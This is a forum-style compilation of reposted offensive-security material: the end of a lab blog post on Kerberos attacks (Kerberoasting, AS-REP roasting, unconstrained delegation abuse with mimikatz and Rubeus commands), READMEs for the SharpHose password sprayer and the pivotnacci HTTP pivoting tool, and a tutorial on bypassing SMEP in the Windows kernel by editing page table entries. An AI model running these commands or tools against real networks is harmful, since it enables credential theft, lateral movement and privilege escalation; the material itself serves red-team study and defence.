    Let’s go through the process manually, I will connect to mssql service at win2012.jnkfo.lab and view the list after establishing the connection

     
    k1.png

    The current user, win10user has no privs at the MSSQL DBS at all, and actually, we don’t need that as I mentioned Kerberos is all about authentication, so even low privs valid user will be able to issue a TGS for any service.
    That’s one way to do it, but it’s not practical, so let’s check out a better one using only native windows stuff.
    Listing the SPNs related to that machine will result in

    1. C:\Users\win10user>setspn -F -Q */win2012*
    2. Checking forest DC=jnkfo,DC=lab
    3. CN=WIN2012,CN=Computers,DC=jnkfo,DC=lab
    4. WSMAN/win2012
    5. WSMAN/win2012.jnkfo.lab
    6. RestrictedKrbHost/WIN2012
    7. HOST/WIN2012
    8. RestrictedKrbHost/win2012.jnkfo.lab
    9. HOST/win2012.jnkfo.lab
    10. CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab
    11. MSSQLSvc/win2012.jnkfo.lab:1433
    12. CN=dummy1,CN=Users,DC=jnkfo,DC=lab
    13. mssqlsvc/win2012
    14. xxxxx/win2012
    15.  
    16. Existing SPN found!
    17.  
    18. C:\Users\win10user>

    As an attacker you will need to focus on the CN=users part, these are the crackable ones as their passwords are chooses by humans unlike the randomly generated machine keys.
    Issue ticket for mssqlserver’s SPN using

    1. Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList "MSSQLSvc/win2012.jnkfo.lab:1433"

     

     

    k3.png

    So dumping the current ticket using kerberos::list /export will result in

     

    k4.png

    knowing that the ticket is encrypted using service key, you’re ready to go and start offline cracking, for sake of illustration am using john

     

    k5.png

    Cool, again this isn’t the best approach for Kerbroasting (when it come to simplicity), invoke-kerbroast would do everything in a blink of an eye, but I just needed to show you how the process is done.
    Refer to the following blog post for more information and references regarding Kerbroasting.

    AS-REP Roasting

    Before Kerberos 5, you wouldn’t see something such as KRB5KDC_ERR_PREAUTH_REQUIRED, as the preauthentication step wasn’t required.
    Things were a little bit different.
    In kerberos5 this is how the 1st few steps of authentication are done

     

    roast1.jpg

    The preauthentication step is required, means the client is the part who’s using the user’s hash to encrypt the timestamp.
    This is the default option in Kerberos 5

    But in kerberos4, and also in Kerberos 5 after modifying some options, this is what’s going on.

     
    roast2.jpg

    Once the client ask for authentication and provides username, the KDC retrieve that user’s hash and use it to encrypt a message, then send this message back to the client!!!!!
    Now the client ca simply start an offline brute-force attack against that encrypted part.
    This happens in Kerberos 5 (modern AD) when the following option is enabled

     

    35.png

    The “Do not require Kerberos preauthentication” option isn’t enabled by default, but once it’s ticked, this is what’s happening when you login using that user

     

    36.png

    No preauthentication requests, the KDC just encrypted the timestamp, TGS name, TGS session key, and lifetime using user’s hash.
    Now the attacker can simply do an offline brute-force and retrieve the user’s plaintext password.

    It’s easy to get the users with “Do not require Kerberos preauthentication” enabled using

    1. get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True"} | select Name

     

    37.png

    Attacking these users is easy using Rubeus or using getnpusers.py
    getnpusers.py can use a wordlist of usernames and try to obtain a crackable hashes for these users with the “Do not require Kerberos preauthentication” option enabled.

    1. python GetNPUsers.py jnkfo.lab/ -usersfile userslist.txt -format john -outputfile roasted.txt -no-pass -dc-ip 192.168.18.2

     

    38.png

    Unconstrained Delegation

    Delegation is the act of Service impersonating User to access another Service

    Imagine a web application is used to manage shared folders for employees,
    The employee logs in and he can view, edit, or delete his files which are found in another server.

     

    40.png

    So, Employee 1 login to the Web server using the HTTP service ticket,
    Now the Web application needs to access the File sharing server as Employee 1 to receive his files!
    To do so, it needs to get a TGS for the File sharing service, But with Employee1’s username inside!
    That’s where delegation plays a part.

    When enabled, delegation allows employee 1 to send his own TGT to the webserver, so the web service can use it to obtain a TGS on behave of employee 1 to access the file sharing service.
    The same goes for employees 2, 3, 4 …ETC

    Knowing so, once you compromise a machine with delegation option enabled

     

    42.png

    You can dump the TGTs of the users who used any service on that machine, then abuse these TGTs to act on behave of these users.
    getting employee1’s TGT will allow you to issue a TGS for any service on behave of employee1, and so accessing the services he has access to.

    The TGT transferring part was a little bit confusing for me, many resources declared that it’s “inside” the TGS, which I found out it’s not correct at all.
    Many others just stating that the TGT and the TGS are being passed to the server, which isn’t enough info!!
    so I will explain it as well, maybe someone is looking for it the same as I did.

    This is how it looks like when connecting to a machine configured for unconstrained delegation

     

    You will notice 2 TGS-REQ,
    The 1st 1 is for the service we’re trying to access (CIFS)

     

    48.png

    The other one is for the krbtgt

     

    49.png

    This is the one that the server will be able to use, it’s for getting services tickets on behalf of the user.

    The client will take the krbtgt TGS and embed it inside the authenticator message.
    I assume you remember how the authenticator is encrypted and decrypted.
    It’s encrypted using the service session key, which can be found inside the TGS, which can only be decrypted using the service account’s key.
    So the client will send the 1st TGS-REP, which is the service ticket
    And the Authenticator message which has the 2nd TGS-REP (TGT) inside.
    The service will decrypt the TGS, obtain service session key, then use the service session key to decrypt the authenticator message and obtain the user’s TGT [krb_cred].
    It caches it then for later use.
    This can be summarized in the following pic, which takes place after the 1st TGS-REP received

     

    50.png

    2nd TGS-REP message (TGT) is

    1. 005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5

    Authenticator message after decryption is

    1. Sequence:
    2. field-0=5
    3. field-1=JNKFO.LAB
    4. field-2=Sequence:
    5. field-0=1
    6. field-1=SequenceOf:
    7. win10user
    8.  
    9. field-3=Sequence:
    10. field-0=32771
    11. field-1=0x10000000000000000000000000000000000000002300000001001a057682051630820512a003020105a103020116a282040730820403618203ff308203fba003020105a10b1b094a4e4b464f2e4c4142a21e301ca003020102a11530131b066b72627467741b094a4e4b464f2e4c4142a38203c5308203c1a003020112a103020103a28203b3048203af005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5a381fa3081f7a003020112a281ef0481ec6556782acbf0b4f78002c3af3a7ecf35e7a18aad30a52603763b8cf600f5eb6fc830afb3e6c61f694158b5a5209059b61a9a16f4c8dcc1191a3b188ac766c0d613af144454d0682063ceb3f4ab07b0cdee1354d37f3b6ff88fee70321c6d57ded89c6efc6f92af5cac42525730636b253d0b8a357183dbfc09d0d8ca75da7ecdaee3574c50bc31b54a2c0b3139e92d5c973cd26a8fb7581d479d74cbee5f552bb6c7a791bdf8ef575646d16af7f3134282d5edbc0272c53da2887af0dce6ba2935d237a9a26eef4df3720ffa7154970a0de4aafa16a5b8c43e33303ac0c52eb78c05d0c0f8b11546c9f672dc
    12.  
    13. field-4=468
    14. field-5=20200501014535Z
    15. field-6=Sequence:
    16. field-0=18
    17. field-1=0x52852d5447e40ee95df24c67e8400cf79f1146df958d29d3205fe8689a55325c
    18.  
    19. field-7=900366966
    20. field-8=SequenceOf:
    21. Sequence:
    22. field-0=1
    23. field-1=0x3081b9303fa0040202008da137043530333031a003020100a12a0428010000000020000047a9dfdb7f739b0e5720ff9a17c3534c94c937ef0b55329c007b8ce1204dfac3301aa0040202008ea1120410a01978ab0a0200002b9d850300000000300ea0040202008fa106040400400000304aa00402020090a142044063006900660073002f00770069006e0032003000310032002e006a006e006b0066006f002e006c006100620040004a004e004b0046004f002e004c0041004200

    You will find that the KRB_CRED is embedded inside

    1. The authenticator checksum field SHALL have the following format:
    2.  
    3. Octet Name Description
    4. -----------------------------------------------------------------
    5. 0..3 Lgth Number of octets in Bnd field; Represented
    6. in little-endian order; Currently contains
    7. hex value 10 00 00 00 (16).
    8. 4..19 Bnd Channel binding information, as described in
    9. section 4.1.1.2.
    10. 20..23 Flags Four-octet context-establishment flags in
    11. little-endian order as described in section
    12. 4.1.1.1.
    13. 24..25 DlgOpt The delegation option identifier (=1) in
    14. little-endian order [optional]. This field
    15. and the next two fields are present if and
    16. only if GSS_C_DELEG_FLAG is set as described
    17. in section 4.1.1.1.
    18. 26..27 Dlgth The length of the Deleg field in
    19. little-endian order [optional].
    20. 28..(n-1) Deleg A KRB_CRED message (n = Dlgth + 28)
    21. [optional].
    22. n..last Exts Extensions [optional].

    Reference

    So assuming I compromised the machine win2012.jnkfo.lab, you will be able to dump all the TGTs Not just for the users who accessed the web service, but for any user who accessed any service used within the machine (web server).
    This can be done via mimikatz sekurlsa::tickets /export

     

    43.png

    or using .\Rubeus.exe monitor /interval:1

     

    44.png

    To abuse this you can use kerberos::ptt ticket.kirbi at your attacking machine
    So am using this to try accessing windows 10 machine, this pic show the action before and after passing the ticket.

     

    45.png

    Constrained delegation

    To be discussed in a separated blog post

    User enumeration

    If you tried authenticating using invalid username, Kerberos will kill the process in the preauthentication step and you will get the following error

     

    54.png

    You can depend on that for enumerating domain users without even being part of the domain!
    Practically this is very useful in many situations, as all you need is being able to connect to the KDC.

     

    55.png

    You can get the valid usernames which would save you tons of rime while bruteforcing services, along with the users with no preauth required.
    That would give you a good foothold in many situations.

    Conclusion

    Woooo, finally it’s over.
    I supposed to separate this blog into 2 or 3 parts but found out that it may be better to put as much as techniques as I can into a single post in order not to get lost between many parts related to the same topic.
    I’ve discussed how Kerberos works, tried to explain it as much as I can, discussed most of the attacks directly related to Kerberos authentication.
    I tried to be straight to the point as much as I can along with illustrating the stuff that was once confusing to me, hopefully, I succeded doing so.
    Probably I will continue with this series, so if you guys have any comments or suggestions, or found sth wrong in this blog post (Am sure I missed something around), feel free to reach me at @0x4148
    Till next time,
    Ahmed

    References

    How the Kerberos Version 5 Authentication Protocol Works
    Kerberos Authentication Overview
    Kerberos for the Busy Admin
    Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
    SPNs
    Kerberos Principal Name Canonicalization and Cross-Realm Referrals
    The Kerberos Version 5
    Abusing Kerberos
    And almost every single blog at posts.specterops.io

    Sursa: https://blog.redforce.io/windows-authentication-attacks-part-2-kerberos/#disqus_thread

  16. Overview

    SharpHose is a C# password spraying tool designed to be fast, safe, and usable over Cobalt Strike's execute-assembly. It provides a flexible way to interact with Active Directory using domain-joined and non-joined contexts, while also being able to target specific domains and domain controllers. SharpHose takes into consideration the domain password policy, including fine grained password policies, in an attempt to avoid account lockouts. Fine grained password policies are enumerated for the users and groups that that the policy applies to. If the policy applied also to groups, the group users are captured. All enabled domain users are then classified according to their password policies, in order of precedence, and marked as safe or unsafe. The remaining users are filtered against an optional user-supplied exclude list.

    Besides just spraying, red team operators can view all of the password policies for a domain, all the users affected by the policy, or just view the enabled domain users. Output can be sent directly to the console or to a user-supplied output folder.

    Follow me on Twitter for some more tool releases soon! @ustayready

    Nozzles

    Nozzles are built-in methods of spraying. While currently only supporting one Nozzle (LDAP), it's written in a way that makes it easily extendable.

    LDAP

    Active Directory spraying nozzle using the LDAP protocol

    • Asynchronous spraying for faster, but not too fast, results

    • Domain joined and non-joined spraying

    • Tight integration w/ domain password policies and fine grained password policies

    • Smart lockout prevention (lockoutThreshold n-1 just to be safe)

    • Optionally spray to specific domains and domain controllers

    • View password policies and the affected users

    Coming soon!

    • MSOL

    • OWA/EWS

    • Lync

    Compilation

    • Built using Visual Studio 2019 Community Edition

    • .NET Framework 4.5

    Usage Examples

    Cobalt Strike Users

    Be sure to use the --auto to avoid the interactive prompts in SharpHose. Also, prepare your arguments locally so you can read the description before running. If you don't pass any arguments over execute-assembly, then SharpHose throws a "Missing Argument Exception" and Cobalt Strike won't return any output. You will know this is happening when you see [-] Invoke_3 on EntryPoint failed. This will be fixed eventually.

    Domain Joined Spray w/o Interaction SharpHose.exe --action SPRAY_USERS --spraypassword Spring2020! --output c:\temp\ --auto

    Domain Joined Spray w/ Exclusions SharpHose.exe --action SPRAY_USERS --spraypassword Spring2020! --output c:\temp\ --exclude c:\temp\exclusion_list.txt

    Non-Domain Joined Spray SharpHose.exe --action SPRAY_USERS --spraypassword Spring2020! --domain lab.local --username demo --password DemoThePlanet --output c:\temp\

    Domain Joined Show Policies Active Directory stores durations in negative large integer values which need to lapse after the last lockoutThreshold is exceeded. In future versions these will be formatted cleaner. SharpHose.exe --action GET_POLICIES --output c:\temp\

    Domain Joined Show Policy Users SharpHose.exe --action GET_POLICY_USERS --policy lab --output c:\temp\

    Domain Joined Show All Users SharpHose.exe --action GET_ENABLED_USERS --output c:\temp\

    Domain Joined Spray Using Cobalt Strike execute-assembly /path/to/SharpHose.exe --action SPRAY_USERS --spraypassword Spring2020! --output c:\temp\ --auto

    Shout-Outs

     

    Sursa: https://github.com/ustayready/SharpHose

  17. pivotnacci

    68747470733a2f2f696d672e736869656c64732e 68747470733a2f2f696d672e736869656c64732e

    Pivot into the internal network by deploying HTTP agents. Pivotnacci allows you to create a socks server which communicates with HTTP agents. The architecture looks like the following:

    pivotnacci.png

    This tool was inspired by the great reGeorg. However, it includes some improvements:

    • Support for balanced servers
    • Customizable polling interval, useful to reduce detection rates
    • Auto drop connections closed by a server
    • Modular and cleaner code
    • Installation through pip
    • Password-protected agents

    Supported socks protocols

    •  Socks 4
    •  Socks 5
      •  No authentication
      •  User password
      •  GSSAPI

    Installation

    From python packages:

    pip3 install pivotnacci

    From repository:

    git clone https://github.com/blackarrowsec/pivotnacci.git
    cd pivotnacci/
    pip3 install -r requirements.txt # to avoid installing on the OS
    python3 setup.py install # to install on the OS

    Usage

    1. Upload the required agent (php, jsp or aspx) to a webserver
    2. Start the socks server once the agent is deployed
    3. Configure proxychains or any other proxy client (the default listening port for pivotnacci socks server is 1080)
    $ pivotnacci -h
    usage: pivotnacci [-h] [-s addr] [-p port] [--verbose] [--ack-message message]
                      [--password password] [--user-agent user_agent]
                      [--header header] [--proxy [protocol://]host[:port]]
                      [--type type] [--polling-interval milliseconds]
                      [--request-tries number] [--retry-interval milliseconds]
                      url
    
    Socks server for HTTP agents
    
    positional arguments:
      url                   The url of the agent
    
    optional arguments:
      -h, --help            show this help message and exit
      -s addr, --source addr
                            The default listening address (default: 127.0.0.1)
      -p port, --port port  The default listening port (default: 1080)
      --verbose, -v
      --ack-message message, -a message
                            Message returned by the agent web page (default:
                            Server Error 500 (Internal Error))
      --password password   Password to communicate with the agent (default: )
      --user-agent user_agent, -A user_agent
                            The User-Agent header sent to the agent (default:
                            pivotnacci/0.0.1)
      --header header, -H header
                            Send custom header. Specify in the form 'Name: Value'
                            (default: None)
      --proxy [protocol://]host[:port], -x [protocol://]host[:port]
                            Set the HTTP proxy to use.(Environment variables
                            HTTP_PROXY and HTTPS_PROXY are also supported)
                            (default: None)
      --type type, -t type  To specify agent type in case is not automatically
                            detected. Options are ['php', 'jsp', 'aspx'] (default:
                            None)
      --polling-interval milliseconds
                            Interval to poll the agents (for recv operations)
                            (default: 100)
      --request-tries number
                            The number of retries for each request to an agent. To
                            use in case of balanced servers (default: 50)
      --retry-interval milliseconds
                            Interval to retry a failure request (due a balanced
                            server) (default: 100)

    Examples

    Using an agent with password s3cr3t (AGENT_PASSWORD variable must be modified at the agent side as well):

    pivotnacci  https://domain.com/agent.php --password "s3cr3t"

    Using a custom HTTP Host header and a custom CustomAgent User-Agent:

    pivotnacci  https://domain.com/agent.jsp -H 'Host: vhost.domain.com' -A 'CustomAgent'

    Setting a different agent message 418 I'm a teapot (ACK_MESSAGE variable must be modified at the agent side as well):

    pivotnacci https://domain.com/agent.aspx --ack-message "418 I'm a teapot"

    Reduce detection rate (e.g. WAF) by setting the polling interval to 2 seconds:

    pivotnacci  https://domain.com/agent.php --polling-interval 2000

    Author

    Eloy Pérez (@Zer1t0) [ www.blackarrow.net - www.tarlogic.com ]

    License

    All the code included in this project is licensed under the terms of the GNU AGPLv3 license.

     

    68747470733a2f2f696d672e736869656c64732e 68747470733a2f2f696d672e736869656c64732e 68747470733a2f2f696d672e736869656c64732e

     

    Sursa: https://github.com/blackarrowsec/pivotnacci#pivotnacci

  18. Exploit Development: Leveraging Page Table Entries for Windows Kernel Exploitation

     35 minute read

    Introduction

    Taking the prerequisite knowledge from my last blog post, let’s talk about additional ways to bypass SMEP other than flipping the 20th bit of the CR4 register- or completely circumventing SMEP all together by bypassing NX in the kernel! This blog post in particular will leverage page table entry control bits to bypass these kernel mode mitigations, as well as leveraging additional vulnerabilities such as an arbitrary read to bypass page table randomization to achieve said goals.

    Before We Begin

    Morten Schenk of Offensive Security has done a lot of the leg work for shedding light on this topic to the public, namely at DefCon 25 and Black Hat 2017.

    Although there has been some AMAZING research on this, I have not seen much in the way of practical blog posts showcasing this technique in the wild (that is, taking an exploit start to finish leveraging this technique in a blog post). Most of the research surrounding this topic, although absolutely brilliant, only explains how these mitigation bypasses work. This led to some issues for me when I started applying this research into actual exploitation, as I only had theory to go off of.

    Since I had some trouble implementing said research into a practical example, I’m writing this blog post in hopes it will aid those looking for more detail on how to leverage these mitigation bypasses in a practical manner.

    This blog post is going to utilize the HackSysExtreme vulnerable kernel driver to outline bypassing SMEP and bypassing NX in the kernel. The vulnerability class will be an arbitrary read/write primitive, which can write one QWORD to kernel mode memory per IOCTL routine.

    Thank you to Ashfaq of HackSysTeam for this driver!

    In addition to said information, these techniques will be utilized on a Windows 10 64-bit RS1 build. This is because Windows 10 RS2 has kernel Control Flow Guard (kCFG) enabled by default, which is beyond the scope of this post. This post simply aims to show the techniques used in today’s “modern exploitaiton era” to bypass SMEP or NX in kernel mode memory.

    Why Go to the Mountain, If You Can Bring the Mountain to You?

    The adage for the title of this section, comes from Spencer Pratt’s WriteProcessMemory() white paper about bypassing DEP. This saying, or adage, is extremely applicable to the method of bypassing SMEP through PTEs.

    Let’s start with some psuedo code!

    # Allocating user mode code
    payload = kernel32.VirtualAlloc(
        c_int(0),                         # lpAddress
        c_int(len(shellcode)),            # dwSize
        c_int(0x3000),                    # flAllocationType
        c_int(0x40)                       # flProtect
    )
    
    ---------------------------------------------------------
    
    # Grabbing HalDispatchTable + 0x8 address
    HalDispatchTable+0x8 = NTBASE + 0xFFFFFF
    
    # Writing payload to HalDispatchTable + 0x8
    www.What = payload
    www.Where = HalDispatchTable + 0x8
    
    ---------------------------------------------------------
    
    # Spawning SYSTEM shell
    print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!!!!"
    os.system("cmd.exe /K cd C:\\")
    

    Note, the above code is syntactically incorrect, but it is there nonetheless to help us understand what is going on.

    Also, before moving on, write-what-where = arbitrary memory overwrite = arbitrary write primitive.

    Carrying on, the above psuedo code snippet is allocating virtual memory in user mode, via VirtualAlloc(). Then, utilizing the write-what-where vulnerability in the kernel mode driver, the shellcode’s virtual address (residing in user mode), get’s written to nt!HalDispatchTable+0x8 (residing in kernel mode), which is a very common technique to use in an arbitrary memory overwrite situation.

    Please refer to my last post on how this technique works.

    As it stands now, execution of this code will result in an ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY Bug Check. This Bug Check is indicative of SMEP kicking in.

    Letting the code execute, we can see this is the case.

    Here, we can clearly see our shellcode has been allocated at 0x2620000

    PTE_2.png

    SMEP kicks in, and we can see the offending address is that of our user mode shellcode (Arg2 of PTE contents is highlighted as well. We will circle back to this in a moment).

    PTE_1.png

    Recall, from a previous blog of mine, that SMEP kicks in whenever code that resides in current privilege level (CPL 3) of the CPU (CPL 3 code = user mode code) is executed in context of CPL 0 (kernel mode).

    SMEP is triggered in this case, as we are attempting to access the shellcode’s virtual address in user mode from nt!HalDispatchTable+0x8, which is in kernel mode.

    But HOW is SMEP implemented is the real question.

    SMEP is enforced in two ways.

    The first is globally. SMEP is mandated through the OS via the 20th bit of the CR4 control register.

    PTE_4.png

    The 20th bit in the above image refers to the 1 in the beginning of CR4 register’s value of 0x170678, meaning SMEP is enabled on this system globally.

    However, there is a second way SMEP is enforced- and that is on a per memory page basis, via the U/S PTE control bit. This is what we are going shift our focus to in this post.

    Alex Ionescu gave a talk at Infiltrate 2015 about the implementation of SMEP on a per page basis.

    Citing his slides, he explains that Intel has the following to say about SMEP enforcement on a per page basis.

    “Any page level marked as supervisor (U/S=0) will result in treatment as supervisor for SMEP enforcement.”

    Let’s take a look at the output of !pte in WinDbg of our user mode shellcode page to make sense of all of this!

    PTE_3.png

    What Intel means by the their statement in Alex’s talk, is that only ONE of the paging structure table entries (a page table entry) is needed to be set to kernel, in order for SMEP to not trigger. We do not need all 4 entries to be supervisor (kernel) mode!

    This is wonderful for us, from an exploit development standpoint- as this GREATLY reduces our workload (we will see why shortly)!

    Let’s learn how we can leverage this new knowledge, by first examining the current PTE control bits of our shellcode page:

    1. D- The “dirty” bit has been set, meaning a write to this address has occured (KERNELBASE!VirtualAlloc()).
    2. A- The “access” bit has been set, meaning this address has been referenced at some point.
    3. U- The “user” bit has been set here. When the memory manager unit reads in this address, it recognizes is as a user mode address. When this bit is 1, the page is user mode. When this bit is clear, the page is kernel mode.
    4. W- The “write” bit has been set here, meaning this memory page is writeable.
    5. E- The “executable” bit has been set here, meaning this memory page is executable.
    6. V- The “valid” bit is set here, meaning that the PTE is a valid PTE.

    Notice that most of these control bits were set with our call earlier to KERNELBASE!VirtualProtect() in the psuedo code snippet via the function’s arguments of flAllocationType and flProtect.

    Where Do We Go From Here?

    Let’s shift our focus to the PTE entry from the !pte command output in the last screenshot. We can see that our entry is that of a user mode page, from the U/S bit being set. However, what if we cleared this bit out?

    If the U/S bit is set to 0, the page should become a kernel mode page, based on the aforementioned information. Let’s investigate this in WinDbg.

    Rebooting our machine, we reallocate our shellcode in user mode.

    PTE_5.png

    The above image performs the following actions:

    1. Shows our shellcode in a user mode allocation at the virtual address 0xc60000
    2. Shows the current PTE and control bits for our shellcode memory page
    3. Uses ep in WinDbg to overwrite the pointer at 0xFFFFF98000006300 (this is the address of our PTE. When dereferenced, it contains the actual PTE control bits)
    4. Clears the PTE control bit for U/S by subtracting 4 from the PTE control bit contents.

      Note, I found this to be the correct value to clear the U/S bit through trial and error.

    After the U/S bit is cleared out, our exploit continues by overwriting nt!HalDispatchTable+0x8 with the pointer to our shellcode.

    PTE_6.png

    The exploit continues, with a call to nt!KeQueryIntervalProfile(), which in turn, calls nt!HalDispatchTable+0x8

    PTE_7.png

    Stepping into the call qword ptr [nt!HalDispatchTable+0x8] instruction, we have hit our shellcode address and it has been loaded into RIP!

    PTE_8.png

    Exeucting the shellcode, results in manual bypass of SMEP!

    PTE_9a.png

    Let’s refer back to the phraseology earlier in the post that uttered:

    Why go to the mountain, if you can bring the mountain to you?

    Notice how we didn’t “disable” SMEP like we did a few blog posts ago with ROP. All we did this time was just play by SMEP’s rules! We didn’t go to SMEP and try to disable it, instead, we brought our shellcode to SMEP and said “treat this as you normally treat kernel mode memory.”

    This is great, we know we can bypass SMEP through this method! But the quesiton remains, how can we achieve this dynamically?

    After all, we cannot just arbitrarily use WinDbg when exploiting other systems.

    Calculating PTEs

    The previously shown method of bypassing SMEP manually in WinDbg revolved around the fact we could dereference the PTE address of our shellcode page in memory and extract the control bits. The question now remains, can we do this dynamically without a debugger?

    Our exploit not only gives us the ability to arbitrarily write, but it gives us the ability to arbitrarily read in data as well! We will be using this read primitive to our advantage.

    Windows has an API for just about anything! Fetching the PTE for an associated virtual address is no different. Windows has an API called nt!MiGetPteAddress that performs a specific formula to retrieve the associated PTE of a memory page.

    PTE_10.png

    The above function performs the following instructions:

    1. Bitwise shifts the contents of the RCX register to the right by 9 bits
    2. Moves the value of 0x7FFFFFFFF8 into RAX
    3. Bitwise AND’s the values of RCX and RAX together
    4. Moves the value of 0xFFFFFE0000000000 into RAX
    5. Adds the values of RAx and RCX
    6. Performs a return out of the function

    Let’s take a second to break this down by importance. First things first, the number 0xFFFFFE0000000000 looks like it could potentially be important- as it resembles a 64-bit virtual memory address.

    Turns out, this is important. This number is actually a memory address, and it is the base address of all of the PTEs! Let’s talk about the base of the PTEs for a second and its significance.

    Rebooting the machine and disassembling the function again, we notice something.

    PTE_11.png

    0xFFFFFE0000000000 has now changed to 0xFFFF800000000000. The base of the PTEs has changed, it seems.

    This is due to page table randomization, a mitigation of Windows 10. Microsoft definitely had the right idea to implement this mitigation, but it is not much of a use to be honest if the attacker already has an abitrary read primitive.

    An attacker needs an arbitrary read primitive in the first place to extract the contents of the PTE control bits by dereferencing the PTE of a given memory page.

    If an attacker already has this ability, the adversary could just use the same primitive to read in nt!MiGetPteAddress+0x13, which, when dereferenced, contains the base of the PTEs.

    Again, not ripping on Microsoft- I think they honestly have some of the best default OS exploit mitigations in the business. Just something I thought of.

    The method of reusing an arbitrary read primitive is actually what we are going to do here! But before we do, let’s talk about the PTE formula one last time.

    As we saw, a bitwise shift right operation is performed on the contents of the RCX register. That is because when this function is called, the virtual address for the PTE you would like to fetch gets loaded into RCX.

    We can mimic this same behavior in Python also!

    # Bitwise shift shellcode virtual address to the right 9 bits
    shellcode_pte = shellcode_virtual_address >> 9
    
    # Bitwise AND the bitwise shifted right shellcode virtual address with 0x7ffffffff8
    shellcode_pte &= 0x7ffffffff8
    
    # Add the base of the PTEs to the above value (which will need to be previously extracted with an arbitrary read)
    shellcode_pte += base_of_ptes
    

    The variable shellcode_pte will now contain the PTE for our shellcode page! We can demonstrate this behavior in WinDbg.

    PTE_12.png

    Sorry for the poor screenshot above in advance.

    But as we can see, our version of the formula works- and we know can now dynamically fetch a PTE address! The only question remains, how do we dynamically dereference nt!MiGetPteAddress+0x13 with an arbitrary read?

    Read, Read, Read!

